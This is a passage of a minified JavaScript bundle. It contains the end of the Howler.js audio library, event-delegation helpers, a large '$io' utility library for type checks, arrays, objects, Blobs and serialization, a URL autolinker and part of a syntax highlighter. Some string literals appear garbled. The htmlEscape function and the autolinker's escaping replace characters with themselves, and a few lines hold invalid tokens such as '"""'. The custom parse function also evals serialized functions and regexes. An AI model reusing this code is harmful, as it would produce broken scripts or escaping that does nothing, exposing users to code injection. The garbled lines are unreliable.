1905 var r = o._onendTimer[n];
1906 r && (clearTimeout(r.timer), o._onendTimer.splice(n, 1))
1907 },
1908 _setupAudioNode: function() {
1909 var e = this,
1910 n = e._audioNode,
1911 t = e._audioNode.length;
1912 return n[t] = void 0 === o.createGain ? o.createGainNode() : o.createGain(), n[t].gain.value = e._volume, n[t].paused = !0, n[t]._pos = 0, n[t].readyState = 4, n[t].connect(r), n[t].panner = o.createPanner(), n[t].panner.panningModel = e._model || "equalpower", n[t].panner.setPosition(e._pos3d[0], e._pos3d[1], e._pos3d[2]), n[t].panner.connect(n[t]), n[t]
1913 },
1914 on: function(e, o) {
1915 var n = this,
1916 t = n["_on" + e];
1917 if ("function" == typeof o) t.push(o);
1918 else
1919 for (var r = 0; r < t.length; r++) o ? t[r].call(n, o) : t[r].call(n);
1920 return n
1921 },
1922 off: function(e, o) {
1923 var n = this,
1924 t = n["_on" + e],
1925 r = o ? o.toString() : null;
1926 if (r) {
1927 for (var a = 0; a < t.length; a++)
1928 if (r === t[a].toString()) {
1929 t.splice(a, 1);
1930 break
1931 }
1932 } else n["_on" + e] = [];
1933 return n
1934 },
1935 unload: function() {
1936 for (var o = this, n = o._audioNode, t = 0; t < o._audioNode.length; t++) n[t].paused || (o.stop(n[t].id), o.on("end", n[t].id)), o._webAudio ? n[t].disconnect(0) : n[t].src = "";
1937 for (t = 0; t < o._onendTimer.length; t++) clearTimeout(o._onendTimer[t].timer);
1938 var r = d._howls.indexOf(o);
1939 null !== r && r >= 0 && d._howls.splice(r, 1), delete e[o._src], o = null
1940 }
1941 }, n) var f = function(o, n) {
1942 if (n in e) return o._duration = e[n].duration, void s(o);
1943 if (/^data:[^;]+;base64,/.test(n)) {
1944 for (var t = atob(n.split(",")[1]), r = new Uint8Array(t.length), a = 0; a < t.length; ++a) r[a] = t.charCodeAt(a);
1945 _(r.buffer, o, n)
1946 } else {
1947 var i = new XMLHttpRequest;
1948 i.open("GET", n, !0), i.responseType = "arraybuffer", i.onload = function() {
1949 _(i.response, o, n)
1950 }, i.onerror = function() {
1951 o._webAudio && (o._buffer = !0, o._webAudio = !1, o._audioNode = [], delete o._gainNode, delete e[n], o.load())
1952 };
1953 try {
1954 i.send()
1955 } catch (e) {
1956 i.onerror()
1957 }
1958 }
1959 },
1960 _ = function(n, t, r) {
1961 o.decodeAudioData(n, function(o) {
1962 o && (e[r] = o, s(t, o))
1963 }, function(e) {
1964 t.on("loaderror")
1965 })
1966 },
1967 s = function(e, o) {
1968 e._duration = o ? o.duration : e._duration, 0 === Object.getOwnPropertyNames(e._sprite).length && (e._sprite = {
1969 _default: [0, 1e3 * e._duration]
1970 }), e._loaded || (e._loaded = !0, e.on("load")), e._autoplay && e.play()
1971 },
1972 c = function(n, t, r) {
1973 var a = n._nodeById(r);
1974 a.bufferSource = o.createBufferSource(), a.bufferSource.buffer = e[n._src], a.bufferSource.connect(a.panner), a.bufferSource.loop = t[0], t[0] && (a.bufferSource.loopStart = t[1], a.bufferSource.loopEnd = t[1] + t[2]), a.bufferSource.playbackRate.value = n._rate
1975 };
1976"function" == typeof define && define.amd && define(function() {
1977 return {
1978 Howler: d,
1979 Howl: l
1980 }
1981}), "undefined" != typeof exports && (exports.Howler = d, exports.Howl = l), "undefined" != typeof window && (window.Howler = d, window.Howl = l)
1982}();
1983//js/noop.js
1984function $noop(n) {}
1985//js/delegate.js
1986! function(e) {
1987"use strict";
1988
1989function t(e, t) {
1990 return function(o) {
1991 for (var c = o.target; c && 1 === c.nodeType && !c.matches(e);) c = c.parentNode;
1992 if (!c || 1 !== c.nodeType) return !1;
1993 t.call(c, o)
1994 }
1995}! function(e) {
1996 Element && !e.matches && (e.matches = e.matchesSelector || e.mozMatchesSelector || e.msMatchesSelector || e.oMatchesSelector || e.webkitMatchesSelector)
1997}(Element.prototype), t.get = function(e, t) {
1998 for (var o = e.target; o && 1 === o.nodeType && !o.matches(t);) o = o.parentNode;
1999 return !(!o || 1 !== o.nodeType) && o
2000}, e.$delegate = t
2001}(this);
2002//js/io.js
2003! function(global) {
2004"use strict";
2005
2006function getType(r) {
2007 return _toString.call(r).slice(8, -1)
2008}
2009
2010function isArrayLike(r) {
2011 return "object" == typeof r && "number" == typeof r.length || !1
2012}
2013
2014function isString(r) {
2015 return "string" == typeof r || !1
2016}
2017
2018function isFunction(r) {
2019 return "function" == typeof r || !1
2020}
2021
2022function isObject(r) {
2023 return (!r || "object" == typeof r && null !== r) && "[object Object]" == _toString.call(r)
2024}
2025
2026function isNumber(r) {
2027 return "number" == typeof r && isFinite(r) || !1
2028}
2029
2030function isRegExp(r) {
2031 return r && "object" == typeof r && "[object RegExp]" == _toString.call(r) || !1
2032}
2033
2034function isArguments(r) {
2035 return r && "number" == typeof r.length && "[object Arguments]" == _toString.call(r) || !1
2036}
2037
2038function isNative(r) {
2039 return isFunction(r) && ("" + r).indexOf("[native code]") >= 0
2040}
2041
2042function isError(r) {
2043 return r && "object" == typeof r && "[object Error]" == _toString.call(r) || !1
2044}
2045
2046function isPrototype(r) {
2047 var t;
2048 return r && (t = r.constructor) && "function" == typeof t && t.prototype == r
2049}
2050
2051function isElement(r) {
2052 return r && 1 === r.nodeType || !1
2053}
2054
2055function isReallyNaN(r) {
2056 return "[object Number]" == _toString.call(r) && r != +r
2057}
2058
2059function isInfinity(r) {
2060 return "[object Number]" == _toString.call(r) && !isFinite(r)
2061}
2062
2063function isWindow(r) {
2064 var t = _toString.call(r);
2065 return "[object global]" == t || "[object Window]" == t || "[object DOMWindow]" == t
2066}
2067
2068function isDocument(r) {
2069 var t = _toString.call(r);
2070 return "[object HTMLDocument]" == t || "[object Document]" == t
2071}
2072
2073function isNodeList(r) {
2074 var t = _toString.call(r);
2075 return "object" == typeof r && ("[object HTMLCollection]" == t || "[object NodeList]" == t || "[object Object]" == t && r.hasOwnProperty("length") && (0 === r.length || "object" == typeof r[0] && r[0].nodeType > 0))
2076}
2077
2078function isJSON(r) {
2079 var t = !1;
2080 return isString(r) || isNumber(r) || "boolean" == typeof r || null === r || void 0 === r ? t = !0 : isArray(r) ? arrEach(r, function(r) {
2081 return t = isJSON(r)
2082 }) : isObject(r) && objEach(r, function(r) {
2083 return t = isJSON(r)
2084 }), t
2085}
2086
2087function is(r) {
2088 var t = typeof r;
2089 return "string" == t ? "String" : "boolean" == t ? "Boolean" : "function" == t ? "Function" : null === r ? "Null" : void 0 === r ? "Undefined" : isNumber(r) ? "Number" : isReallyNaN(r) ? "NaN" : isElement(r) ? "Element" : isArray(r) ? "Array" : isArguments(r) ? "Arguments" : isInfinity(r) ? "Infinity" : isError(r) ? "Error" : isNodeList(r) ? "NodeList" : isWindow(r) ? "Window" : isDocument(r) ? "Document" : r.constructor.name || _toString.call(r).slice(8, -1)
2090}
2091
2092function nativeEqual(r, t) {
2093 if (typeof r == typeof t && r + "" == t + "") return !0
2094}
2095
2096function keys(r) {
2097 return r ? Object.keys(r) : []
2098}
2099
2100function objEqual(r, t) {
2101 var n, e, i;
2102 for (n in r) {
2103 if (e = r[n], i = t[n], r.hasOwnProperty(n) != t.hasOwnProperty(n)) return !1;
2104 if (typeof e != typeof i) return !1
2105 }
2106 for (n in t) {
2107 if (e = r[n], i = t[n], !r.hasOwnProperty(n)) return !1;
2108 if (e !== i) {
2109 if (typeof e != typeof i) return !1;
2110 if (t.hasOwnProperty(n) && !(isArrayLike(e) && isArrayLike(i) && arrEqual(e, i) || isObject(e) && isObject(i) && objEqual(e, i) || nativeEqual(e, i))) return !1
2111 }
2112 }
2113 return !0
2114}
2115
2116function objAll(r, t) {
2117 var n;
2118 for (n in r) r.hasOwnProperty(n) && t(r[n], n)
2119}
2120
2121function objEach(r, t) {
2122 var n;
2123 for (n in r)
2124 if (r.hasOwnProperty(n) && !1 === t(r[n], n)) break
2125}
2126
2127function obj2str(r) {
2128 try {
2129 return JSON.stringify(r, null, 2)
2130 } catch (n) {
2131 try {
2132 var t = [];
2133 return $io.arr.all(r, function(r) {
2134 t.push(r)
2135 }), "[" + t.join(", ") + "]"
2136 } catch (r) {
2137 return "[Error]"
2138 }
2139 }
2140}
2141
2142function flatten(r, t, n) {
2143 var e = {};
2144 return function r(n, i) {
2145 for (var o, a, u = 0, c = Object.keys(n), s = c.length; u < s; u++) isObject(a = n[o = c[u]]) ? r(a, i + o + (t || ".")) : e[i + o] = a
2146 }(r, ""), e
2147}
2148
2149function getPath(r, t, n) {
2150 if ("string" == typeof t) {
2151 if (n = n || ".", !t || t === n) return r;
2152 var e = 0,
2153 i = $io.reg.escape(n),
2154 o = new RegExp("^" + i + "|" + i + "$", "gi");
2155 for (t = t.replace(o, "").split(n); r && e < t.length;) r = r[t[e++]];
2156 return r
2157 }
2158 if (isRegExp(t)) {
2159 var a = flatten(r, n),
2160 u = {};
2161 return $io.arr.all(Object.keys(a), function(r) {
2162 t.test(r) && (u[r] = a[r])
2163 }), u
2164 }
2165}
2166
2167function path(r, t, n) {
2168 var e = "string" == typeof this ? this : ".";
2169 if (!t || t === e) return r;
2170 var i = 0,
2171 o = $io.reg.escape(e),
2172 a = new RegExp("^" + o + "|" + o + "$", "gi");
2173 for (t = t.replace(a, "").split(e); r && i < t.length;) r = void 0 !== r[t[i]] ? i === t.length - 1 && arguments.length > 2 ? r[t[i]] = n : r[t[i]] : arguments.length > 2 ? r[t[i]] = i === t.length - 1 ? n : {} : void 0, i++;
2174 return r
2175}
2176
2177function arrEqual(r, t) {
2178 var n, e, i = r.length;
2179 if (i != t.length) return !1;
2180 for (; i--;)
2181 if (n = r[i], e = t[i], n !== e && !(isArrayLike(n) && isArrayLike(e) && arrEqual(n, e) || isObject(n) && isObject(e) && objEqual(n, e) || nativeEqual(n, e))) return !1;
2182 return !0
2183}
2184
2185function arrAll(r, t) {
2186 if (r)
2187 for (var n = -1, e = r.length; ++n < e;) t(r[n])
2188}
2189
2190function arrEach(r, t) {
2191 if (r)
2192 for (var n = -1, e = r.length; ++n < e && !1 !== t(r[n], n, r););
2193}
2194
2195function arrReduce(r, t, n) {
2196 for (var e = n, i = 0, o = r.length; i < o; i++) e = t(e, r[i], i, r);
2197 return e
2198}
2199
2200function arrRandom(r) {
2201 return r[Math.floor(Math.random() * r.length)]
2202}
2203
2204function arrInsert(r, t, n) {
2205 return r.splice.apply(r, [n, 0].concat(t)), r
2206}
2207
2208function arrLimit(r, t, n) {
2209 return r.push(n), r.length > t && r.shift(), r
2210}
2211
2212function arr2str(r) {
2213 for (var t = "[", n = 0, e = r.length; n < e; n++) "string" == typeof r[n] ? t += '"' + r[n].replace(/"/g, '\\"') + '"' : _io.isArray(r[n]) ? t += arr2str(r[n]) : t += r[n], n < e - 1 && (t += ", ");
2214 return t += "]"
2215}
2216
2217function arrRemove(r, t, n) {
2218 var e = r.slice((n || t) + 1 || r.length);
2219 return r.length = t < 0 ? r.length + t : t, r.push.apply(r, e)
2220}
2221
2222function arrShuffle(r) {
2223 var t, n, e;
2224 for (e = r.length; e; e--) t = Math.floor(Math.random() * e), n = r[e - 1], r[e - 1] = r[t], r[t] = n
2225}
2226
2227function fn2str(r, t) {
2228 return r && "function" == typeof r ? t(r) : "_not_a_function_"
2229}
2230
2231function fnStr(r, t) {
2232 return fn2str(r, function() {
2233 var n = t ? /^function[\W\w]*?{/ : null,
2234 e = t ? /\s*\}$/ : null,
2235 i = r.toString().replace(n, "").replace(e, ""),
2236 o = i.match(/(^\s*)/gm),
2237 a = o ? o.length > 1 ? o.slice(1).reduce(function(r, t) {
2238 return r.length < t.length ? r : t
2239 }) : o[0] : "";
2240 return _io.str.trim(i.replace(new RegExp("^" + i.match(a), "gm"), ""))
2241 })
2242}
2243
2244function fnName(r) {
2245 return r.name ? r.name : fn2str(r, function() {
2246 var t = r.toString().match(/^\s*function ([^\(\s]+)/);
2247 return t && t[1] || "anonymous"
2248 })
2249}
2250
2251function fnArg(r) {
2252 return r.length ? fn2str(r, function() {
2253 var t = r.toString().replace(/((\/\/.*$)|(\/\*[\s\S]*?\*\/))/gm, ""),
2254 n = t.slice(t.indexOf("(") + 1, t.indexOf(")")).match(/([^\s,]+)/g);
2255 return null === n ? [] : n
2256 }) : []
2257}
2258
2259function x(r) {
2260 timerID = setTimeout(function() {
2261 var r = queue.pop();
2262 r[0](), queue.length && x(r[1])
2263 }, r)
2264}
2265
2266function arg2arr(r) {
2267 return _slice.call(r)
2268}
2269
2270function readWithFileReader(r, t, n) {
2271 var e = new FileReader;
2272 e.onloadend = function() {
2273 n(e.result)
2274 }, e[r](t)
2275}
2276
2277function readAsArrayBuffer(r, t) {
2278 readWithFileReader("readAsArrayBuffer", r, t)
2279}
2280
2281function readAsText(r, t) {
2282 readWithFileReader("readAsText", r, t)
2283}
2284
2285function readAsBinaryString(r, t) {
2286 readWithFileReader("readAsBinaryString", r, t)
2287}
2288
2289function readAsDataURL(r, t) {
2290 readWithFileReader("readAsDataURL", r, t)
2291}
2292
2293function convertToBlob(r, t, n) {
2294 t(new Blob([r], {
2295 type: n || "text/plain; charset=UTF-8"
2296 }))
2297}
2298
2299function returnURL(r, t) {
2300 t(window.URL.createObjectURL(r))
2301}
2302
2303function returnSelf(r, t) {
2304 t(r)
2305}
2306
2307function tryStringify(r, t) {
2308 try {
2309 t(JSON.stringify(r))
2310 } catch (n) {
2311 try {
2312 t(stringify(r))
2313 } catch (r) {
2314 _io.onerror(r)
2315 }
2316 }
2317}
2318
2319function tryParse(r, t) {
2320 try {
2321 t(JSON.parse(r))
2322 } catch (n) {
2323 try {
2324 t(parse(r))
2325 } catch (r) {
2326 _io.onerror(r)
2327 }
2328 }
2329}
2330
2331function stringifyReplacer(r, t) {
2332 return t instanceof Function || "function" == typeof t ? t.toString() : t instanceof RegExp ? "²RegExp²" + t : t instanceof Date ? "²Date__²" + t.getTime() : t
2333}
2334
2335function stringify(r, t) {
2336 return t = t || 0, r = stringifyReplacer(null, r), JSON.stringify(r, stringifyReplacer, t)
2337}
2338
2339function parseReplacer(key, value) {
2340 if ("string" != typeof value || value.length < 8) return value;
2341 var prefix = value.substring(0, 8);
2342 return "function" === prefix ? eval("(" + value + ")") : "²Date__²" === prefix ? new Date(1 * value.slice(8)) : "²RegExp²" === prefix ? eval(value.slice(8)) : value
2343}
2344
2345function parse(r) {
2346 return r = parseReplacer(null, r), JSON.parse(r, parseReplacer)
2347}
2348
2349function clone(r) {
2350 return parse(stringify(r))
2351}
2352var _toString = Object.prototype.toString,
2353 _fnToString = Function.prototype.toString,
2354 _hasOwnProperty = Object.prototype.hasOwnProperty,
2355 _slice = Array.prototype.slice,
2356 _io = {};
2357_io.onerror = function(r) {
2358 console.log("$io error : ", r)
2359}, _io.type = getType;
2360var isArray = isNative(Array.isArray) ? Array.isArray : function(r) {
2361 return r && "object" == typeof r && "number" == typeof r.length && "[object Array]" == _toString.call(r) || !1
2362};
2363_io.is = is, _io.is.arr = _io.is.Array = _io.isArray = isArray, _io.is.str = _io.is.String = _io.isString = isString, _io.is.fun = _io.is.Function = _io.isFunction = isFunction, _io.is.obj = _io.is.Object = _io.isObject = isObject, _io.is.num = _io.is.Number = _io.isNumber = isNumber, _io.is.reg = _io.is.RegExp = _io.isRegExp = isRegExp, _io.is.arg = _io.is.Arguments = _io.isArguments = isArguments, _io.is.inf = _io.is.Infinity = _io.isInfinity = isInfinity, _io.is.nan = _io.is.NaN = _io.isReallyNaN = isReallyNaN, _io.is.nat = _io.is.Native = _io.isNative = isNative, _io.is.err = _io.is.Error = _io.isError = isError, _io.is.pro = _io.is.Prototype = _io.isPrototype = isPrototype, _io.is.ele = _io.is.Element = _io.isElement = isElement, _io.is.win = _io.is.Window = _io.isWindow = isWindow, _io.is.doc = _io.is.Document = _io.isDocument = isDocument, _io.is.nodelist = _io.isNodeList = isNodeList, _io.is.json = _io.isJSON = isJSON, _io.obj = _io.Object = {}, _io.obj.all = objAll, _io.obj.each = objEach, _io.obj.equal = objEqual, _io.obj.stringify = obj2str, _io.obj.getPath = getPath, _io.obj.path = path, _io.obj.flatten = flatten, _io.obj.clear = function(r) {
2364 for (var t in r) r.hasOwnProperty(t) && delete r[t];
2365 return r
2366}, _io.obj.isEmpty = function(r) {
2367 for (var t in r)
2368 if (r.hasOwnProperty(t)) return !1;
2369 return !0
2370}, _io.arr = _io.Array = {}, _io.arr.stringify = arr2str, _io.arr.all = arrAll, _io.arr.each = arrEach, _io.arr.equal = arrEqual, _io.arr.reduce = arrReduce, _io.arr.random = arrRandom, _io.arr.shuffle = arrShuffle, _io.arr.insert = arrInsert, _io.arr.limit = arrLimit, _io.arr.remove = arrRemove, _io.arr.move = function(r, t, n) {
2371 var e = r.indexOf(t);
2372 if (-1 !== e) {
2373 var i = r.splice(e, 1),
2374 n = e + n > 0 ? e + n : 0;
2375 i.length && r.splice(n, 0, i[0])
2376 }
2377}, _io.arr.up = function(r, t) {
2378 var n = r.indexOf(t);
2379 if (-1 !== n && n !== r.length - 1) {
2380 var e = r.splice(n + 1, 1, t);
2381 e.length && r.splice(n, 1, e[0])
2382 }
2383}, _io.arr.down = function(r, t) {
2384 var n = r.indexOf(t);
2385 if (!(n <= 0)) {
2386 var e = r.splice(n - 1, 1, t);
2387 e.length && r.splice(n, 1, e[0])
2388 }
2389}, _io.arr.bottom = function(r, t) {
2390 var n = r.indexOf(t);
2391 if (!(n <= 0)) {
2392 var e = r.splice(n, 1);
2393 e.length && r.unshift(e[0])
2394 }
2395}, _io.arr.top = function(r, t) {
2396 var n = r.indexOf(t);
2397 if (-1 !== n && n !== r.length - 1) {
2398 var e = r.splice(n, 1);
2399 e.length && r.push(e[0])
2400 }
2401}, _io.arr.enum = function(r, t) {
2402 function n() {
2403 0 == --a && "function" == typeof e && e(), "function" == typeof i && i(100 - a / u * 100, a, u)
2404 }
2405 var e, i, o, a = 0,
2406 u = 0;
2407 return (0 === r.length || 1 === r.length && 0 === r[0].length) && setImmediate(function() {
2408 "function" == typeof e && e()
2409 }), $io.arr.each(r, function(r, e) {
2410 u += r.length, $io.arr.each(r, function(r, i) {
2411 a++, setImmediate(function() {
2412 t.call({
2413 list: e,
2414 index: a
2415 }, r, i, n)
2416 })
2417 })
2418 }), o = {
2419 progress: function(r) {
2420 return i = r, o
2421 },
2422 done: function(r) {
2423 return e = r, o
2424 }
2425 }
2426}, _io.enum = function(r, t, n) {
2427 function e(r) {
2428 0 == --i && n()
2429 }(0 === r.length || 1 === r.length && 0 === r[0].length) && n();
2430 var i = 0;
2431 $io.arr.each(r, function(r, n) {
2432 var o = $io.is(r);
2433 "Array" === o || "Object" === o ? $io[o].each(r, function(r, o) {
2434 i++, setImmediate(function() {
2435 t.call({
2436 list: n,
2437 index: i
2438 }, r, o, e)
2439 })
2440 }) : "Function" === o ? (i++, setImmediate(function() {
2441 r.call({
2442 list: n,
2443 index: i
2444 }, e)
2445 })) : (i++, setImmediate(function() {
2446 t.call({
2447 list: n,
2448 index: i
2449 }, r, n, e)
2450 }))
2451 })
2452}, _io.str = _io.String = {}, _io.str.insertAt = function(r, t, n) {
2453 return r.substr(0, n) + t + r.substr(n + t.length)
2454}, _io.str.replaceAt = function(r, t, n, e) {
2455 return r.substr(0, e) + n + r.substr(e + t.length)
2456}, _io.str.truncate = function(r, t) {
2457 return r.length > t ? r.slice(0, t) + "..." : r
2458}, _io.str.slug = function(r) {
2459 return r.toLowerCase().replace(/\s+/g, "-").replace(/[^-\w]/g, "")
2460}, _io.str.trim = function(r) {
2461 var t, n;
2462 for (t = 0, n = r.length - 1; t <= n && r.charCodeAt(t) < 33; t++);
2463 for (; n >= t && r.charCodeAt(n) < 33; n--);
2464 return r.substring(t, n + 1)
2465}, _io.str.camel = function(r) {
2466 return r.replace(/(\-[a-z])/g, function(r) {
2467 return r.toUpperCase().replace("-", "")
2468 })
2469}, _io.str.dash = function(r) {
2470 return r.replace(/([A-Z])/g, function(r) {
2471 return "-" + r.toLowerCase()
2472 })
2473}, _io.str.capitalise = function(r) {
2474 return r.charAt(0).toUpperCase() + r.slice(1)
2475}, _io.str.htmlEscape = function(r) {
2476 return String(r).replace(/&/g, "&").replace(/"/g, """).replace(/'/g, "'").replace(/</g, "<").replace(/>/g, ">")
2477}, _io.fn = {}, _io.fn.str = fnStr, _io.fn.outer = fnStr, _io.fn.inner = function(r) {
2478 return fnStr(r, !0)
2479}, _io.fn.name = fnName, _io.fn.arg = fnArg, _io.fn.prop = _io.fn.keys = function(r) {
2480 return r ? Object.keys(r) : []
2481}, _io.fn.method = _io.fn.meth = function(r) {
2482 for (var t = Object.keys(r), n = -1, e = t.length, i = {}; ++n < e;) i[t[n]] = r[t[n]];
2483 return i
2484}, _io.fn.throttle = function(r, t) {
2485 t = t > 0 ? t : 100;
2486 var n;
2487 return function() {
2488 var e = arguments,
2489 i = this;
2490 n || (n = setTimeout(function() {
2491 return n = 0, r.apply(i, e)
2492 }, t))
2493 }
2494}, _io.fn.debounce = function(r, t) {
2495 t = t > 0 ? t : 100;
2496 var n, e, i;
2497 return function() {
2498 e = this, i = _slice.call(arguments, 0), clearTimeout(n), n = setTimeout(function() {
2499 r.apply(e, i)
2500 }, t)
2501 }
2502}, _io.fn.leading = function(r, t) {
2503 t = t > 0 ? t : 100;
2504 var n, e, i;
2505 return function() {
2506 e = this, i = _slice.call(arguments, 0), n || r.apply(e, i), clearTimeout(n), n = setTimeout(function() {
2507 r.apply(e, i)
2508 }, t)
2509 }
2510};
2511var queue = [],
2512 timerID;
2513_io.fn.queue = function(r, t) {
2514 t = t || 10, queue.push([r, t]), clearTimeout(timerID), x(t)
2515}, _io.fn.proxy = function(r, t) {
2516 var n = r;
2517 return function() {
2518 !1 !== t.apply(this, arguments) && n.apply(this, arguments)
2519 }
2520}, _io.arg = {}, _io.arg.arr = arg2arr, _io.reg = {}, _io.reg.escape = function(r) {
2521 return r.replace(/[-[\]{}()*+?.\\\/^$|]/g, "\\$&")
2522}, _io.xml = {}, _io.xml.parse = function(r) {
2523 var t;
2524 return window.DOMParser ? t = (new DOMParser).parseFromString(r, "text/xml") : ((t = new ActiveXObject("Microsoft.XMLDOM")).async = "false", t.loadXML(r)), t
2525}, _io.equal = function(r, t) {
2526 return r === t || (isArrayLike(r) ? arrEqual(r, t) : isObject(r) ? objEqual(r, t) : !!nativeEqual(r, t))
2527}, _io.each = function(r, t, n) {
2528 if (r)
2529 if (isObject(r)) {
2530 for (var e in r)
2531 if (_hasOwnProperty.call(r, e) && !1 === t.call(n, r[e], e, r)) break
2532 } else
2533 for (var e = 0, i = r.length; e < i && !1 !== t.call(n, r[e], e, r); e++);
2534}, _io.map = function(r, t, n, e, i, o) {
2535 var a = [];
2536 return _io.each(r, function(r, u, c) {
2537 if (!(o && o.indexOf(u) > -1))
2538 if (n && (isArray(r) || isObject(r))) a = a.concat(_io.map(r, t, n, (e ? e + (i || ".") : "") + u, i, o));
2539 else {
2540 var s = t(r, u, c, e);
2541 s && a.push(s)
2542 }
2543 }), a
2544}, _io.find = function(r, t, n, e, i) {
2545 var o, a = e || ".",
2546 u = _io.obj.getPath(n, t, a);
2547 return t.slice(-1) !== a && (t += a), t.slice(0, 1) !== a && (t = a + t), r.replace(/^\/(.*)\/(.{0,4})$/, function(t, n, e) {
2548 n && (r = e ? new RegExp(n, e) : new RegExp(n))
2549 }), o = _io.isRegExp(r) ? r : new RegExp(_io.reg.escape(r), "i"), _io.map(u, function(r, n, e, i) {
2550 var u = (i ? i + a : "") + n;
2551 return !!o.test(u) && t + u
2552 }, !0, null, a, i)
2553}, _io.ArrayBuffer = {
2554 String: function(r, t) {
2555 var n = new DataView(r),
2556 e = (new TextDecoder).decode(n);
2557 return t(e), e
2558 },
2559 Blob: convertToBlob
2560}, _io.Blob = {
2561 String: readAsText,
2562 ArrayBuffer: readAsArrayBuffer,
2563 BinaryString: readAsBinaryString,
2564 DataURL: readAsDataURL,
2565 URL: returnURL
2566}, _io.File = {
2567 String: readAsText,
2568 ArrayBuffer: readAsArrayBuffer,
2569 BinaryString: readAsBinaryString,
2570 DataURL: readAsDataURL,
2571 Blob: convertToBlob,
2572 URL: returnURL
2573}, _io.ArrayBuffer.ArrayBuffer = _io.Blob.Blob = _io.File.File = _io.String.String = _io.Object.Object = _io.Array.Array = returnSelf, _io.ArrayBuffer.Blob = _io.File.Blob = _io.String.Blob = convertToBlob, _io.Object.Blob = _io.Array.Blob = function(r, t, n) {
2574 tryStringify(r, function(r) {
2575 convertToBlob(r, t, n)
2576 })
2577}, _io.String.ArrayBuffer = function(r, t, n) {
2578 convertToBlob(r, function(r) {
2579 readAsArrayBuffer(r, t)
2580 }, n)
2581}, _io.String.BinaryString = _io.ArrayBuffer.BinaryString = function(r, t, n) {
2582 convertToBlob(r, function(r) {
2583 readAsBinaryString(r, t)
2584 }, n)
2585}, _io.String.DataURL = _io.ArrayBuffer.DataURL = function(r, t, n) {
2586 convertToBlob(r, function(r) {
2587 readAsDataURL(r, t)
2588 }, n)
2589}, _io.String.URL = _io.ArrayBuffer.URL = function(r, t, n) {
2590 convertToBlob(r, function(r) {
2591 returnURL(r, t)
2592 }, n)
2593}, _io.Object.ArrayBuffer = _io.Array.ArrayBuffer = function(r, t, n) {
2594 tryStringify(r, function(r) {
2595 _io.String.ArrayBuffer(r, t, n)
2596 })
2597}, _io.Object.BinaryString = _io.Array.BinaryString = function(r, t, n) {
2598 tryStringify(r, function(r) {
2599 _io.String.BinaryString(r, t, n)
2600 })
2601}, _io.Object.DataURL = _io.Array.DataURL = function(r, t, n) {
2602 tryStringify(r, function(r) {
2603 _io.String.DataURL(r, t, n)
2604 })
2605}, _io.Object.URL = _io.Array.URL = function(r, t, n) {
2606 tryStringify(r, function(r) {
2607 _io.String.URL(r, t, n)
2608 })
2609}, _io.String.Object = _io.String.Array = tryParse, _io.Object.String = _io.Array.String = tryStringify, _io.stringify = stringify, _io.parse = parse, _io.clone = clone, global.$io = _io
2610}(this),
2611function(r) {
2612"use strict";
2613
2614function t(r) {
2615 var t = [],
2616 n = 0;
2617 return r.replace(/(?:\(((?:https?:\/\/|www\.)[-A-Za-z0-9+$&@#\/%?=~_()|!:,.;]+[-A-Za-z0-9+$&@#\/%=~_()|])\))/gm, function(r, n) {
2618 return t.push(n), "²_links_in_parens___ktlu_²"
2619 }).replace(/((?:https?:\/\/|www\.)[-A-Za-z0-9+$&@#\/%?=~_()|!:,.;]*[-A-Za-z0-9+$&@#\/%=~_()|])/gm, function(r) {
2620 return '<a target="_blank" href="' + (0 == r.indexOf("http") ? r : "http://" + r) + '">' + r + "</a>"
2621 }).replace(/([\w.]*\w@[\w.]+\w)/gm, '<a href="mailto:$1">$1</a>').replace(RegExp("²_links_in_parens___ktlu_²", "g"), function() {
2622 var r = t[n++];
2623 return '(<a target="_blank" href="' + r + '">' + r + "</a>)"
2624 })
2625}
2626r.$io.str || (r.$io = {
2627 str: {}
2628}), r.$io.str.autolink = t
2629}(this),
2630function(r) {
2631"use strict";
2632
2633function t(r) {
2634 return r = r.replace(/</g, "²_less__²").replace(/>/g, "²_more__²").replace(/&/g, "²_amp__²").replace(/"/g, "²_quot__²").replace(/'/g, "²_squot__²"), r = $io.str.autolink(r), r = r.replace(RegExp("²_amp__²", "g"), "&").replace(RegExp("²_quot__²", "g"), """).replace(RegExp("²_squot__²", "g"), "'").replace(RegExp("²_less__²", "g"), "<").replace(RegExp("²_more__²", "g"), ">")
2635}
2636
2637function n(r, n) {
2638 if ("string" != typeof r) return "";
2639 var e = [],
2640 i = 0,
2641 o = [],
2642 a = 0,
2643 u = [],
2644 c = 0,
2645 s = [],
2646 f = 0;
2647 return (n ? "" : '<code class="language-javascript ui_hilit">') + r.replace(/\/\*[\W\w]*?\*\//g, function(r) {
2648 return o.push(r), "_comment__ktlu_"
2649 }).replace(/([\r\n\s,.;[({=&|!])(\/(?!\/)(?:\[.+?]|\\.|[^\/\r\n])+\/[gimyu]{0,5})(?=\s*($|[\r\n,.;})\]]))/g, function(r, t, n) {
2650 return s.push(n), t + "_regex____ktlu_"
2651 }).replace(/('(\\')?(([^\\]\\'|[^'\n]|\\\n)*)')|("(\\")?(([^\\]\\"|[^"\n]|\\\n)*)")/g, function(r) {
2652 return e.push(r), "_string___ktlu_"
2653 }).replace(/\/\/.*/g, function(r) {
2654 return u.push(r), "_komment__ktlu_"
2655 }).replace(/([+\/\|\^&%!~<>=-]|&|<?|>?)/g, '<span class="sh_operator">$1</span>').replace(/(\$[a-z0-9_$]+)/gi, '<span class="sh_42">$1</span>').replace(/((?!\d)[a-z0-9_$]+)(\s*:\s*function)/gi, '<span class="sh_function">$1</span>$2').replace(/\.((?!\d)[a-z0-9_$]+(?=\())/gi, '.<span class="sh_propfunction">$1</span>').replace(/((?!\d)[a-z0-9_$]+(?=\())/gi, '<span class="sh_function">$1</span>').replace(/([[\]{}().,;:])/g, '<span class="sh_punctuation">$1</span>').replace(/\b-?(0x[\dA-Fa-f]+|\d*\.?\d+([Ee]-?\d+)?|true|false|NaN|-?Infinity)\b/g, '<span class="sh_number">$1</span>').replace(/\b(break|case|catch|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|function|get|if|implements|import|in|instanceof|interface|let|new|null|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|var|void|while|with|yield)\b/g, '<span class="sh_keyword">$1</span>').replace(RegExp("_komment__ktlu_", "g"), function() {
2656 return '<span class="sh_comment">' + t(u[c++] || "") + "</span>"
2657 }).replace(RegExp("_comment__ktlu_", "g"), function() {
2658 return '<span class="sh_comment">' + t(o[a++] || "") + "</span>"
2659 }).replace(RegExp("_string___ktlu_", "g"), function() {
2660 return '<span class="sh_string">' + t(e[i++] || "") + "</span>"
2661 }).replace(RegExp("_regex____ktlu_", "g"), function() {
